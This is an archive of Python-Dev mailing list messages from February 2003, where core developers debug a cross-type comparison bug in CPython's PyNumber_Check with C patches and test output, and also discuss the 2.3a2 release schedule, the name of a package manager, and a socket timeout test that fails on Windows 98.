Message-ID: <200302181505.h1IF5Lp21080@pcp02138704pcs.reston01.va.comcast.net>

> [Neal Norwitz]
> >   * AIX sorts numbers and strings in a different order than Linux:
> >
> >         >>> 'ick' >= 0  # Linux
> >         True
> >
> >         >>> 'ick' >= 0  # AIX
> >         False
> >
> >      This causes failures for test_descrtut and test_random.
> 
> It shouldn't.  Regardless of platform, this should end up at the tail end of
> default_3way_compare(), resolved by the
> 
> 	c = strcmp(vname, wname);
> 
> line with vname "str" and wname "" (an empty string).
> 
> But-- ick! --it doesn't, and not on any platform anymore.  vname and wname
> are both empty strings now, so it goes on to compare the objects by memory
> address and the outcome is pure accident ... this is because rev 2.197 of
> stringobject.c gave string objects a non-NULL tp_as_number slot for the
> first time.  The intent of the emtpy-string gimmick was to make all numeric
> objects "less than" all non-numeric objects (excepting None, which is less
> than every non-None value), in particular so that sorting a list would bring
> all the number-like thingies next to each other.  Strings weren't intended
> to take part in this number gimmick too.  Then again, comparison is so snaky
> it's hard to predict what it will do.  In any case, this is incompatible
> with previous Python releases.  Neil(S), was giving strings a tp_as_number
> slot necessary?  Or just the least painful way to fix whatever bug it was
> fixing?  I suppose the tail end of default_3way_compare could grow more
> special cases to exempt strings from being treated like numbers for the
> purpose of comparison.

I forget what Neil's motivation was; SF bug #615506 doesn't really
mention much for motivation.  I suspect it's simply cleanliness.

Maybe PyNumber_Check() could be changed?  This has been proposed
before.  It could check whether the type implements conversion to int,
for example.  Or it could check whether the type derives from a
new-to-introduce abstract base class ("basenumber").

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Feb 18 14:56:57 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 18 Feb 2003 09:56:57 -0500
Subject: [Python-Dev] 308: the debate is petering out
In-Reply-To: "Your message of Tue, 18 Feb 2003 07:44:12 +0100."
 <004001c2d719$25deae20$6d94fea9@newmexico>
References: <004001c2d719$25deae20$6d94fea9@newmexico>
Message-ID: <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net>

Aahz, is it time to start collecting the votes yet?

Raymond, have any new proposals been suggested and not shot down?

Somebody mentioned usability studies.  Did anything come out of that?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Tue Feb 18 15:23:48 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 18 Feb 2003 10:23:48 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <200302181505.h1IF5Lp21080@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCCECLDOAB.tim.one@comcast.net>

[Guido, on string-vs-number comparisons falling back to comparison
 by memory address now, instead of previous number < string behavior]

> I forget what Neil's motivation was; SF bug #615506 doesn't really
> mention much for motivation.  I suspect it's simply cleanliness.
>
> Maybe PyNumber_Check() could be changed?  This has been proposed
> before.  It could check whether the type implements conversion to int,
> for example.  Or it could check whether the type derives from a
> new-to-introduce abstract base class ("basenumber").

The code in question doesn't invoke PyNumber_Check(), so changing that
wouldn't change behavior here.  The code in question could be changed to
start invoking PyNumber_Check, though.

Looks like, in the core, PyNumber_Check is used only by select_select and
poll_pool.  Try passing a string as the timeout arg to a select() call!
Looks to me like it will end up segfaulting here in PyFloat_AsDouble:

	fo = (PyFloatObject*) (*nb->nb_float) (op);

So the only PyNumber_Check() uses in the core appear to believe that
nb->nb_float isn't NULL if the test passes (but PyNumber_Check isn't
actually testing for that, and nb_float isn't always NULL when the test
passes).

NEWS sez:

"""
- PyNumber_Check() now returns true for string and unicode objects.
  This is a result of these types having a partially defined
  tp_as_number slot.  (This is not a feature, but an indication that
  PyNumber_Check() is not very useful to determine numeric behavior.
  It may be deprecated.)
"""



From nas@python.ca  Tue Feb 18 16:03:36 2003
From: nas@python.ca (Neil Schemenauer)
Date: Tue, 18 Feb 2003 08:03:36 -0800
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <LNBBLJKPBEHFEDALKOLCAEDCDOAB.tim_one@email.msn.com>
References: <20030218045757.GU31973@epoch.metaslash.com> <LNBBLJKPBEHFEDALKOLCAEDCDOAB.tim_one@email.msn.com>
Message-ID: <20030218160336.GA20326@glacier.arctrix.com>

Tim Peters wrote:
> Neil(S), was giving strings a tp_as_number slot necessary?  Or just
> the least painful way to fix whatever bug it was fixing?  I suppose
> the tail end of default_3way_compare could grow more special cases to
> exempt strings from being treated like numbers for the purpose of
> comparison.

It was not necessary but I thought it was cleaner.  Here is the
important part of the patch:


diff -u -r2.106 abstract.c
--- Objects/abstract.c  5 Nov 2002 18:05:49 -0000       2.106
+++ Objects/abstract.c  17 Nov 2002 18:28:22 -0000
@@ -639,12 +639,6 @@
 PyObject *
 PyNumber_Remainder(PyObject *v, PyObject *w)
 {
-       if (PyString_Check(v))
-               return PyString_Format(v, w);
-#ifdef Py_USING_UNICODE
-       else if (PyUnicode_Check(v))
-               return PyUnicode_Format(v, w);
-#endif
        return binary_op(v, w, NB_SLOT(nb_remainder), "%");
 }


The problem with special casing "unicode" and "str" is that subclasses
could not override __mod__.  I think it would also work to remove the
tp_as_number slot and then do the PyUnicode_Check and PyString_Check
after trying binary_op().


The tp_as_number check in default_3way_compare pretty bogus though,
IMHO.  With the new type changes a lot of types have a tp_as_number
slot.  I think the compare code needs to change.

  Neil


From guido@python.org  Tue Feb 18 16:02:14 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 18 Feb 2003 11:02:14 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: "Your message of Tue, 18 Feb 2003 10:23:48 EST."
 <LNBBLJKPBEHFEDALKOLCCECLDOAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCECLDOAB.tim.one@comcast.net>
Message-ID: <200302181602.h1IG2E423435@pcp02138704pcs.reston01.va.comcast.net>

> [Guido, on string-vs-number comparisons falling back to comparison
>  by memory address now, instead of previous number < string behavior]
> 
> > I forget what Neil's motivation was; SF bug #615506 doesn't really
> > mention much for motivation.  I suspect it's simply cleanliness.
> >
> > Maybe PyNumber_Check() could be changed?  This has been proposed
> > before.  It could check whether the type implements conversion to int,
> > for example.  Or it could check whether the type derives from a
> > new-to-introduce abstract base class ("basenumber").

[Tim]
> The code in question doesn't invoke PyNumber_Check(), so changing that
> wouldn't change behavior here.  The code in question could be changed to
> start invoking PyNumber_Check, though.

Good idea.

> Looks like, in the core, PyNumber_Check is used only by select_select and
> poll_pool.  Try passing a string as the timeout arg to a select() call!
> Looks to me like it will end up segfaulting here in PyFloat_AsDouble:
> 
> 	fo = (PyFloatObject*) (*nb->nb_float) (op);

No, that code is guarded by a test whether tp_as_number == NULL or
nb_float is NULL; it issues the expected message "a float is required".

[Neal, later]
> The tp_as_number check in default_3way_compare pretty bogus though,
> IMHO.  With the new type changes a lot of types have a tp_as_number
> slot.  I think the compare code needs to change.

Yes, but how?

--Guido van Rossum (home page: http://www.python.org/~guido/)


From nas@python.ca  Tue Feb 18 16:21:49 2003
From: nas@python.ca (Neil Schemenauer)
Date: Tue, 18 Feb 2003 08:21:49 -0800
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCECLDOAB.tim.one@comcast.net>
References: <200302181505.h1IF5Lp21080@pcp02138704pcs.reston01.va.comcast.net> <LNBBLJKPBEHFEDALKOLCCECLDOAB.tim.one@comcast.net>
Message-ID: <20030218162149.GB20326@glacier.arctrix.com>

Tim Peters wrote:
> The code in question doesn't invoke PyNumber_Check(), so changing that
> wouldn't change behavior here.  The code in question could be changed to
> start invoking PyNumber_Check, though.

PyNumber_Check is pretty useless.  Don't blame me, it was useless before
I got to it. :-)

> Looks like, in the core, PyNumber_Check is used only by select_select and
> poll_pool.  Try passing a string as the timeout arg to a select() call!
> Looks to me like it will end up segfaulting here in PyFloat_AsDouble:
> 
> 	fo = (PyFloatObject*) (*nb->nb_float) (op);

You are thinking of PyFloat_AS_DOUBLE, I think.


    Python 2.3a1 (#6, Feb  4 2003, 15:46:59)
    [GCC 2.95.4 20011002 (Debian prerelease)] on linux2
    Type "help", "copyright", "credits" or "license" for more information.
    >>> import select
    >>> select.select([], [], [], "ha ha")
    Traceback (most recent call last):
      File "<stdin>", line 1, in ?
    TypeError: a float is required

It's unclear what PyNumber_Check should be replaced with.  Perhaps a
test that determined if an object could be turned into a float or an
int.  Something like:

    PyNumber_AsIntegerCheck(o)
    {
        if PyFloat_Check(o)
            return false; /* truncating a float is not acceptable */
        else
            return true of nb_int exists
    }

    PyNumber_AsFloatCheck(o)
    {
        return true if nb_float exists
    }

PyNumber_Check could perhaps be changed to look for nb_float or nb_int.
I'm not sure if that breaks more or less extension modules. :-(

  Neil


From nas@python.ca  Tue Feb 18 16:24:39 2003
From: nas@python.ca (Neil Schemenauer)
Date: Tue, 18 Feb 2003 08:24:39 -0800
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <200302181602.h1IG2E423435@pcp02138704pcs.reston01.va.comcast.net>
References: <LNBBLJKPBEHFEDALKOLCCECLDOAB.tim.one@comcast.net> <200302181602.h1IG2E423435@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030218162439.GC20326@glacier.arctrix.com>

Guido van Rossum wrote:
> [Neal, later]
> > The tp_as_number check in default_3way_compare pretty bogus though,
> > IMHO.  With the new type changes a lot of types have a tp_as_number
> > slot.  I think the compare code needs to change.
> 
> Yes, but how?

Maybe PyNumber_Check should check for (tp_as_number and (nb_int or
nb_float)) and then default_3way_compare should use it instead of
checking for tp_as_number. 

  Neil


From guido@python.org  Tue Feb 18 16:17:04 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 18 Feb 2003 11:17:04 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: "Your message of Mon, 17 Feb 2003 23:57:57 EST."
 <20030218045757.GU31973@epoch.metaslash.com>
References: <20030218045757.GU31973@epoch.metaslash.com>
Message-ID: <200302181617.h1IGH4B30443@pcp02138704pcs.reston01.va.comcast.net>

> It ain't real pretty, but it could be worse:
> 
>         http://metaslash.com/py/2.3-problems.html

Thanks!

> I'm trying to commit changes to the logging package, but SF has a
> stale CVS lock for anoncvs_python.  I filed a support request.
> Hopefully they will have it fixed within a month or two, at least by
> the time 2.3 is ready to be released.  I don't know if the updates are
> supposed to fix the test hangs/failures for test_logging.

I this done now?  (I saw a bunch of checkins to logging stuff.)

> Here's the problem highlights (there are more, follow the link):
> 
>   * There are 3 64-bit issues:
>         http://python.org/sf/688424

You fixed these now.

(I'm not real excited about the following to subjects, do what you see
fit.)

>   * test_pty hangs on 3 platforms, possible fix:
>         http://python.org/sf/671384

(Sounds find to me.)

>   * test_resource can fail when filesize is limited
>         http://python.org/sf/678264

(Ditto.)

>   * iconv module calls PyFatalError() if the C module initialization 
>         fails, is there a better way to handle this?  I had to
>         disable building iconv on AIX.

Yes, you can raise an exception and return.  This is a bit weird
(there's no return value) but AFAIK it is documented that a module
init function can raise an exception and return to indicate failure.

>   * AIX sorts numbers and strings in a different order than Linux:
> 
>         >>> 'ick' >= 0  # Linux
>         True
> 
>         >>> 'ick' >= 0  # AIX
>         False
> 
>      This causes failures for test_descrtut and test_random.

I have a tentative fix for this (use PyNumber_Check() in
default_3way_compare() and augment PyNumber_Check() to test whether
the type defines nb_int).  Can you check this on AIX?  [*]

> I don't expect to get these taken care of for 2.3a2 assuming
> it's released tomorrow.  It would be nice to have most of
> the platforms clean for the beta.

Yes.

[*] Patch:

Index: Objects/object.c
===================================================================
RCS file: /cvsroot/python/python/dist/src/Objects/object.c,v
retrieving revision 2.197
diff -c -r2.197 object.c
*** Objects/object.c	5 Feb 2003 19:35:19 -0000	2.197
--- Objects/object.c	18 Feb 2003 16:15:53 -0000
***************
*** 633,640 ****
  	if (w == Py_None)
  		return 1;
  
! 	/* different type: compare type names */
! 	if (v->ob_type->tp_as_number)
  		vname = "";
  	else
  		vname = v->ob_type->tp_name;
--- 633,640 ----
  	if (w == Py_None)
  		return 1;
  
! 	/* different type: compare type names; numbers are smaller */
! 	if (PyNumber_Check(v))
  		vname = "";
  	else
  		vname = v->ob_type->tp_name;
Index: Objects/abstract.c
===================================================================
RCS file: /cvsroot/python/python/dist/src/Objects/abstract.c,v
retrieving revision 2.117
diff -c -r2.117 abstract.c
*** Objects/abstract.c	12 Feb 2003 03:36:05 -0000	2.117
--- Objects/abstract.c	18 Feb 2003 16:15:54 -0000
***************
*** 308,314 ****
  int
  PyNumber_Check(PyObject *o)
  {
! 	return o && o->ob_type->tp_as_number;
  }
  
  /* Binary operators */
--- 308,315 ----
  int
  PyNumber_Check(PyObject *o)
  {
! 	return o && o->ob_type->tp_as_number &&
! 	       o->ob_type->tp_as_number->nb_int;
  }
  
  /* Binary operators */

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Tue Feb 18 16:21:24 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 18 Feb 2003 11:21:24 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <200302181602.h1IG2E423435@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCAEDBDOAB.tim.one@comcast.net>

[Tim]
>> 	fo = (PyFloatObject*) (*nb->nb_float) (op);

[Guido]
> No, that code is guarded by a test whether tp_as_number == NULL or
> nb_float is NULL; it issues the expected message "a float is required".

Oops!  You're right, of course.

[Neal, later]
>> The tp_as_number check in default_3way_compare pretty bogus though,
>> IMHO.  With the new type changes a lot of types have a tp_as_number
>> slot.  I think the compare code needs to change.

[Guido]
> Yes, but how?

It's a good question.  All builtin numeric types have a non-NULL nb_float
slot, but some non-numeric types do too (proxies, and even _winreg.c's
PyHKEY_Type).



From mats@laplaza.org  Tue Feb 18 16:24:04 2003
From: mats@laplaza.org (Mats Wichmann)
Date: Tue, 18 Feb 2003 09:24:04 -0700
Subject: [Python-Dev] Re: Package Install Manager for Python
In-Reply-To: <20030217230801.27870.52433.Mailman@mail.python.org>
Message-ID: <5.1.0.14.1.20030218091355.01ea9af0@mail.laplaza.org>

 >I just don't view it as that insulting.  In America it has
 >become a slang term to mean something is cool; "That's so pimp!"

Jeez, I'm clearly getting old, never heard this one.


 >I don't think that's going to fly... just think of a
 >user manual: "Please use the pimp for your platform to
 >download piddle from the Internet. After successful
 >operation, click on idle to start off into working mode."
 >
 >Must be a cultural thing...

Hardly, it's well known we "Yanks" don't have any (culture).

What we also don't have any longer is a collective sense
of humor in the use of language (we can find _anything_
offensive), which suggests we should be barred from suggesting
names for anything :-)

The first definition in my dictionary for pimp is
simply "procurer".







From aahz@pythoncraft.com  Tue Feb 18 16:29:28 2003
From: aahz@pythoncraft.com (Aahz)
Date: Tue, 18 Feb 2003 11:29:28 -0500
Subject: [Python-Dev] 308: the debate is petering out
In-Reply-To: <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net>
References: <004001c2d719$25deae20$6d94fea9@newmexico> <200302181456.h1IEuvk20958@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030218162928.GA16032@panix.com>

On Tue, Feb 18, 2003, Guido van Rossum wrote:
>
> Aahz, is it time to start collecting the votes yet?

Maybe, but I've been too sick of the discussion to read it for the past
three days, and I'm leaving today for the fifth anniversary of my outlaw
wedding.  I'll be back Friday.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From guido@python.org  Tue Feb 18 16:29:38 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 18 Feb 2003 11:29:38 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: "Your message of Tue, 18 Feb 2003 08:24:39 PST."
 <20030218162439.GC20326@glacier.arctrix.com>
References: <LNBBLJKPBEHFEDALKOLCCECLDOAB.tim.one@comcast.net>
 <200302181602.h1IG2E423435@pcp02138704pcs.reston01.va.comcast.net>
 <20030218162439.GC20326@glacier.arctrix.com>
Message-ID: <200302181629.h1IGTcn05453@pcp02138704pcs.reston01.va.comcast.net>

> Maybe PyNumber_Check should check for (tp_as_number and (nb_int or
> nb_float)) and then default_3way_compare should use it instead of
> checking for tp_as_number. 

Good idea.  I'll check that in, and use PyNumber_Check() in
default_3way_compare() as in my previous post.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From guido@python.org  Tue Feb 18 16:30:44 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 18 Feb 2003 11:30:44 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: "Your message of Tue, 18 Feb 2003 11:21:24 EST."
 <LNBBLJKPBEHFEDALKOLCAEDBDOAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCAEDBDOAB.tim.one@comcast.net>
Message-ID: <200302181630.h1IGUiT05465@pcp02138704pcs.reston01.va.comcast.net>

> It's a good question.  All builtin numeric types have a non-NULL
> nb_float slot, but some non-numeric types do too (proxies, and even
> _winreg.c's PyHKEY_Type).

Well, proxies deserve to be considered numeric.

--Guido van Rossum (home page: http://www.python.org/~guido/)


From neal@metaslash.com  Tue Feb 18 16:33:41 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Tue, 18 Feb 2003 11:33:41 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <200302181617.h1IGH4B30443@pcp02138704pcs.reston01.va.comcast.net>
References: <20030218045757.GU31973@epoch.metaslash.com>
 <200302181617.h1IGH4B30443@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <20030218163341.GW31973@epoch.metaslash.com>

On Tue, Feb 18, 2003 at 11:17:04AM -0500, Guido van Rossum wrote:
> 
> > I'm trying to commit changes to the logging package, but SF has a
> > stale CVS lock for anoncvs_python.  I filed a support request.
> > Hopefully they will have it fixed within a month or two, at least by
> > the time 2.3 is ready to be released.  I don't know if the updates are
> > supposed to fix the test hangs/failures for test_logging.
> 
> I this done now?  (I saw a bunch of checkins to logging stuff.)

Yes, SF cleared the lock.  The tests still fail on some machines.

> (I'm not real excited about the following to subjects, do what you see
> fit.)

These are low priority.  I'll wait for someone to review.

> >   * AIX sorts numbers and strings in a different order than Linux:
> > 
> >         >>> 'ick' >= 0  # Linux
> >         True
> > 
> >         >>> 'ick' >= 0  # AIX
> >         False
> > 
> >      This causes failures for test_descrtut and test_random.
> 
> I have a tentative fix for this (use PyNumber_Check() in
> default_3way_compare() and augment PyNumber_Check() to test whether
> the type defines nb_int).  Can you check this on AIX?  [*]

The patch fixed test_random, but not test_descrtut.  I didn't run the
full test suite.

Neal


From tim.one@comcast.net  Tue Feb 18 16:33:12 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 18 Feb 2003 11:33:12 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <200302181617.h1IGH4B30443@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEDDDOAB.tim.one@comcast.net>

[Guido]
> I have a tentative fix for this (use PyNumber_Check() in
> default_3way_compare() and augment PyNumber_Check() to test whether
> the type defines nb_int).

Sounds good to me.  It's interesting then that complex numbers will pass the
PyNumber_Check test because they set nb_int to a routine that
unconditionally raises an exception.  Checking for nb_negative may be
crisper?



From tim.one@comcast.net  Tue Feb 18 16:41:50 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 18 Feb 2003 11:41:50 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <20030218163341.GW31973@epoch.metaslash.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCEEDFDOAB.tim.one@comcast.net>

[Neal Norwitz]
> The patch fixed test_random, but not test_descrtut.  I didn't run the
> full test suite.

How about showing us the failing output from test_descrtut?  Offhand I don't
see anything that would be affected apart from the last line of this
doctest:

    >>> def sorted(seq):
    ...     seq.sort()
    ...     return seq
    >>> print sorted(a.keys())
    [1, 2]
    >>> exec "x = 3; print x" in a
    3
    >>> print sorted(a.keys())
    [1, 2, '__builtins__', 'x']



From tim.one@comcast.net  Tue Feb 18 16:55:38 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 18 Feb 2003 11:55:38 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <LNBBLJKPBEHFEDALKOLCEEDFDOAB.tim.one@comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCKEDGDOAB.tim.one@comcast.net>

I noticed that one of the doctests in test_descrtut displayed a dictionary
without sorting it first.  I just checked in a repair for that.



From neal@metaslash.com  Tue Feb 18 17:02:34 2003
From: neal@metaslash.com (Neal Norwitz)
Date: Tue, 18 Feb 2003 12:02:34 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <LNBBLJKPBEHFEDALKOLCKEDGDOAB.tim.one@comcast.net>
References: <LNBBLJKPBEHFEDALKOLCEEDFDOAB.tim.one@comcast.net>
 <LNBBLJKPBEHFEDALKOLCKEDGDOAB.tim.one@comcast.net>
Message-ID: <20030218170233.GX31973@epoch.metaslash.com>

On Tue, Feb 18, 2003 at 11:55:38AM -0500, Tim Peters wrote:
> I noticed that one of the doctests in test_descrtut displayed a dictionary
> without sorting it first.  I just checked in a repair for that.

Looks good:

    test_descr
    test_descrtut
    test_random
    All 3 tests OK.

I'll run all the tests now on various platform.  But things look
pretty good on this side.

Neal


From python-kbutler@sabaydi.com  Tue Feb 18 17:13:03 2003
From: python-kbutler@sabaydi.com (Kevin J. Butler)
Date: Tue, 18 Feb 2003 10:13:03 -0700
Subject: [Python-Dev] Package Install Manager for Python
In-Reply-To: <20030218155507.20181.90756.Mailman@mail.python.org>
References: <20030218155507.20181.90756.Mailman@mail.python.org>
Message-ID: <3E52699F.5050701@sabaydi.com>

>
>
>From: Jack Jansen <Jack.Jansen@cwi.nl>
>
>Wonderful, split votes:-)
>
But look at the intensity of the feeling:
 + on pimp = "a bit of a joke"
 - on pimp = "very offensive"

This suggests to me that an alternative is warranted.

+1 packman
-5 pimp

kb

PS.  Note that according to the US Patent/Trademark office, the similar 
Bally Midway/Namco trademark is for "pac-man", as distinct from "pacman" 
or "packman"   see 
http://tess2.uspto.gov/bin/gate.exe?f=tess&state=vbocn0.1.1



From tim.one@comcast.net  Tue Feb 18 17:12:13 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 18 Feb 2003 12:12:13 -0500
Subject: [Python-Dev] various unix platform build/test issues
In-Reply-To: <20030218170233.GX31973@epoch.metaslash.com>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEDHDOAB.tim.one@comcast.net>

[Neal Norwitz]
> Looks good:
>
>     test_descr
>     test_descrtut
>     test_random
>     All 3 tests OK.

Excellent!  Take the rest of the year off <winK>.


From aahz@pythoncraft.com  Tue Feb 18 17:38:36 2003
From: aahz@pythoncraft.com (Aahz)
Date: Tue, 18 Feb 2003 12:38:36 -0500
Subject: [Python-Dev] Re: Package Install Manager for Python
In-Reply-To: <b2s9rm$2p6$1@main.gmane.org>
References: <3E50A068.5050709@lemburg.com> <C93F5CF5-425E-11D7-BE39-0030655234CE@cwi.nl> <b2s9rm$2p6$1@main.gmane.org>
Message-ID: <20030218173836.GB11827@panix.com>

On Mon, Feb 17, 2003, Terry Reedy wrote:
>
> Ok, I'll be uncool.  To me, a pimp is a type of rapist.  Hardly
> something to joke about.  In much of America, asking a female employee
> to use 'pimp' to procure something might well be an invitation to file
> a sex-harassment lawsuit.  To both me and my wife (who would be
> insulted if so asked), the name says 'this is a college frat/nerd
> prank product, not for serious business/professional use".

Yeah, I was wavering, but now I think I'm -1, too.  In particular, I
suspect that "pimp" would be far more likely to bother women.  There
don't seem to be many women on python-dev; perhaps we should ask on
c.l.py.

OTOH, I disagree with Terry about pimp == rapist, but that's a debate
for another forum.
-- 
Aahz (aahz@pythoncraft.com)           <*>         http://www.pythoncraft.com/

Register for PyCon now!  http://www.python.org/pycon/reg.html


From Jack.Jansen@oratrix.com  Tue Feb 18 18:34:10 2003
From: Jack.Jansen@oratrix.com (Jack Jansen)
Date: Tue, 18 Feb 2003 19:34:10 +0100
Subject: [Python-Dev] Python 2.3a2 release today?
In-Reply-To: <200302181450.h1IEoiY20543@pcp02138704pcs.reston01.va.comcast.net>
Message-ID: <926B1A7E-436F-11D7-86D3-000A27B19B96@oratrix.com>

On dinsdag, feb 18, 2003, at 15:50 Europe/Amsterdam, Guido van Rossum 
wrote:

> I'd like to release Python 2.3a2 today, if at all possible.  Is there
> anything (outside the Mac tree) that should really be done before this
> release?

There's a serious bug in the applet support for Mac OS X. If at all 
possible I'd like to fix that before the release, hopefully later 
tonight otherwise early tomorrow. I've filed a bug report (#688907) 
with priority 8, but of course if you're really desperate to release 
tonight you can always override it,
--
- Jack Jansen        <Jack.Jansen@oratrix.com>        
http://www.cwi.nl/~jack -
- If I can't dance I don't want to be part of your revolution -- Emma 
Goldman -



From guido@python.org  Tue Feb 18 18:43:08 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 18 Feb 2003 13:43:08 -0500
Subject: [Python-Dev] Python 2.3a2 release today?
In-Reply-To: "Your message of Tue, 18 Feb 2003 19:34:10 +0100."
 <926B1A7E-436F-11D7-86D3-000A27B19B96@oratrix.com>
References: <926B1A7E-436F-11D7-86D3-000A27B19B96@oratrix.com>
Message-ID: <200302181843.h1IIh8b09061@pcp02138704pcs.reston01.va.comcast.net>

> On dinsdag, feb 18, 2003, at 15:50 Europe/Amsterdam, Guido van Rossum 
> wrote:
> 
> > I'd like to release Python 2.3a2 today, if at all possible.  Is there
> > anything (outside the Mac tree) that should really be done before this
> > release?
> 
> There's a serious bug in the applet support for Mac OS X. If at all 
> possible I'd like to fix that before the release, hopefully later 
> tonight otherwise early tomorrow. I've filed a bug report (#688907) 
> with priority 8, but of course if you're really desperate to release 
> tonight you can always override it,

OK, we can do the release tomorrow.

BTW, I asked you about your need for PyArg_Parse format codes that
truncate, but never received a reply.  I can't do that now, but can
you at least indicate whether you still want it?  (Adding a followup
to SF bug #595026 would be sufficient.)

--Guido van Rossum (home page: http://www.python.org/~guido/)


From mhammond@skippinet.com.au  Tue Feb 18 21:41:20 2003
From: mhammond@skippinet.com.au (Mark Hammond)
Date: Wed, 19 Feb 2003 08:41:20 +1100
Subject: [Python-Dev] Re: Package Install Manager for Python
In-Reply-To: <20030218173836.GB11827@panix.com>
Message-ID: <00a401c2d796$79fe2440$530f8490@eden>

Goodness, what a funny bunch you Yanks are <0.1 wink>

And-like-we-aren't ly,

Mark.



From guido@python.org  Tue Feb 18 22:21:28 2003
From: guido@python.org (Guido van Rossum)
Date: Tue, 18 Feb 2003 17:21:28 -0500
Subject: [Python-Dev] Re: Python 2.3a2 release today?
In-Reply-To: Your message of "Tue, 18 Feb 2003 09:50:43 EST."
Message-ID: <200302182221.h1IMLSZ30531@pcp02138704pcs.reston01.va.comcast.net>

We ran into some problems with pickling, and Jack needs more time for
an applet builder bug, so the 2.3a2 release will be tomorrow (Feb 19).
I expect to be freezing around noon EST (1800 MET).

--Guido van Rossum (home page: http://www.python.org/~guido/)


From tim.one@comcast.net  Tue Feb 18 22:38:15 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 18 Feb 2003 17:38:15 -0500
Subject: [Python-Dev] test_timeout fails on Win98SE
Message-ID: <LNBBLJKPBEHFEDALKOLCCEFEDOAB.tim.one@comcast.net>

NealN very recently changed test_timeout so that it actually ran its tests
(it didn't before, unless it was run directly "by hand").

The result here on Win98SE:

test test_timeout failed -- Traceback (most recent call last):
  File "C:\CODE\PYTHON\lib\test\test_timeout.py", line 107, in
testConnectTimeout
    self.addr_remote)
  File "C:\CODE\PYTHON\lib\unittest.py", line 285, in failUnlessRaises
    raise self.failureException, excName
AssertionError: error

1 test failed:
    test_timeout


Doing what the test does by hand doesn't raise an exception either:

>>> import socket
>>> sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
>>> sock.settimeout(.001)
>>> sock.connect(('www.google.com', 80))
>>>

I suspect (but don't know) that Win98SE treats .001 as if it were some
larger value.  It would help if I could find an address that doesn't get
connected instantly from here <0.7 wink>.



From logi.stix@verizon.net  Tue Feb 18 23:27:38 2003
From: logi.stix@verizon.net (logistix)
Date: Tue, 18 Feb 2003 18:27:38 -0500
Subject: [Python-Dev] test_timeout fails on Win98SE
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEFEDOAB.tim.one@comcast.net>
Message-ID: <000001c2d7a5$542e95b0$20bba8c0@XP>


> -----Original Message-----
> From: python-dev-admin@python.org 
> [mailto:python-dev-admin@python.org] On Behalf Of Tim Peters
> Sent: Tuesday, February 18, 2003 5:38 PM
> To: PythonDev
> Subject: [Python-Dev] test_timeout fails on Win98SE
> 

> 
> I suspect (but don't know) that Win98SE treats .001 as if it 
> were some larger value.  It would help if I could find an 
> address that doesn't get connected instantly from here <0.7 wink>.
> 
> 

I don't know if it's related, but Win98's lowest clock resolution is
55ms.  It's 10ms in NT.  I don't have a 98 install to see if 0.006 will
succeed or still fail though.




From tim.one@comcast.net  Tue Feb 18 23:33:20 2003
From: tim.one@comcast.net (Tim Peters)
Date: Tue, 18 Feb 2003 18:33:20 -0500
Subject: [Python-Dev] test_timeout fails on Win98SE
In-Reply-To: <LNBBLJKPBEHFEDALKOLCCEFEDOAB.tim.one@comcast.net>
Message-ID: <LNBBLJKPBEHFEDALKOLCOEFHDOAB.tim.one@comcast.net>

Hmm.  test_timeout is timing out on Win98SE, but not returning an error.
In socketmodule.c's internal_connect():

static int
internal_connect(PySocketSockObject *s, struct sockaddr *addr, int addrlen)
{
	int res;

	res = connect(s->sock_fd, addr, addrlen);

#ifdef MS_WINDOWS

	if (s->sock_timeout > 0.0) {
		if (res < 0 && WSAGetLastError() == WSAEWOULDBLOCK) {
			internal_select(s, 1);
